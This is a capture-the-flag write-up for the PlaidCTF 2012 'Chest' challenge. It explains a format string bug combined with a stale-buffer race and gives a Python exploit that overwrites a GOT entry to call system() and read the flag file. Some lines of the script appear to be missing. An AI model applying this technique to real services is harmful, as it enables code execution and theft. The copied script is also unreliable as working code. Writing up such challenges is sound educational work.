code hacking, zen coding


PlaidCTF 2012 – Pwnables 300 – Chest Writeup

Posted by aXs

Robots are running secret service that aims to mill down diamonds into fairy dust, and use it to take over our world! Help us please!

In this challenge we have a telnet interface to a nice chest that can store an item, remove an item or view the list of stored items.

Welcome to the Adventurers' storage room!
If you don't yet have a personal chest, you can use this one: XXXXFJ4bO1
Which chest to you wish to access? [XXXXFJ4bO1]:
Using chest XXXXFJ4bO1

What do you want to do?

[1] View items
[2] Store an item
[3] Take an item
[4] Leave
[5] Destroy the chest
> Choose an option:

After disassembling the binary, we see that there is a format string vulnerability in the "View items" function.

    v0 = sub_8048C7B(dword_804AC90, &v2, 499, 0);
    dprintf(fd, (const char *)&v2);

The name of the item is used as format to dprintf. So easy right ? Not so fast...

There is a function that filter heavily user input based on a whitelist:

  n = strspn(src, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&-+ ");

The percent character is of course not whitelisted so we cannot send a format string.

To exploit this vulnerability, we need to combine it with another design conception error: when you connect to the service, you can input the name of the chest you want to open.

The error is that if you connect simultaneously 2 clients, ask both clients to open the same chest and use the destroy chest function in one client, the other client will malfunction in a very interesting way.

Rember this read loop for viewing the items ?

    v0 = sub_8048C7B(dword_804AC90, &v2, 499, 0);
    dprintf(fd, (const char *)&v2);
int __cdecl sub_8048C7B(int fd, void *a2, int a3, char a4)
  char v4; // al@3
  char v5; // al@7
  void *buf; // [sp+28h] [bp-10h]@1
  ssize_t v8; // [sp+2Ch] [bp-Ch]@2

  buf = a2;
    v5 = a3-- != 0;
    if ( !v5 )
    v8 = read(fd, buf, 1u); // will return 0
    if ( v8 != 1 ) // will pass
      if ( v8 ) // will not pass
      return buf - a2; // will return buf left untouched!
    v4 = *(_BYTE *)buf == a4;
    buf = (char *)buf + 1;
  while ( !v4 );
  return buf - a2;

As you can see, as the chest has been destroyed, read() will fail to read anything and the function will return leaving the buffer untouched... untouched means with its previous content... and this function is also used to read the name of the item:

  dprintf(fd, "> Store what item? ");
  src[sub_8048C7B(fd, (void *)src, 499, 10)] = 0;

So to exploit this we need:
- Connect 2 clients
- Choose the same chest in both clients
- Destroy the chest using one client
- With the client left, store an item with our format string vulnerability
- List the chest content, this will trigger the format string
- An additional action to get the flag (see below)

After reviewing my options, I noticed system() is already part of the GOT table so I will try to overwrite strspn's GOT entry so that an unfiltered string can be used as the system() parameter.

For this, I used hellman's highly recommended libformatstr library which makes format string building very easy.

#!/usr/bin/env python
# -*- coding: latin-1 -*-

import socket
import sys
import re
from libformatstr import FormatStr

if len(sys.argv) != 3:
  print '\nUsage:\t./ [host] [port]'

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

fs = s.makefile()

print 'Client1 Banner1', fs.readline()
print 'Client1 Banner2', fs.readline()

chest = fs.readline()

regex = re.compile("Using chest (.*)")
r =
chest = r.groups()[0]

print 'Chest', chest

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((host, port))

fs2 = s2.makefile()

print 'Client2 Banner1', fs2.readline()
print 'Client2 Banner2', fs2.readline()

s2.send('%s\n' %chest);

# destroy chest
for i in range(1,9):

# add item to chest
for i in range(1,10):

addr = 0x0804abf0 # strspn()
got = [0x08048796] # system()
p = FormatStr()
p[addr] = got

payload = p.payload(7, start_len=4)

# we start the payload with a non-whitelisted char so that the NUL byte
# is put at the beginning of the string
s2.send('____' + payload + '\n')
print 'Client2 Result Store', fs2.readline()

# view chest content
for i in range(1,9):

# strspn() is now system()
# fd 4 is our socket
s2.send('ls -la>&4 ; cat key>&4\n')

while 1:
  line = s2.recv(4096)
  if not line:
  print 'Client2 Received', repr(line)



Running our exploit we get (some garbage removed from the beginning):

total 28
drwxr-xr-x 2 root root 4096 Apr 28 04:36 .
drwxr-xr-x 3 root root 4096 Apr 27 19:27 ..
-rwxr-xr-x 1 root root 8564 Apr 27 19:27 chest
lrwxrwxrwx 1 root root 3 Apr 28 04:36 flag -> key
-rw-r--r-- 1 root root 24 Apr 27 03:48 key
-rwxr-xr-x 1 root root 41 Apr 27 19:27

The key is: lemons_are_in_the_chest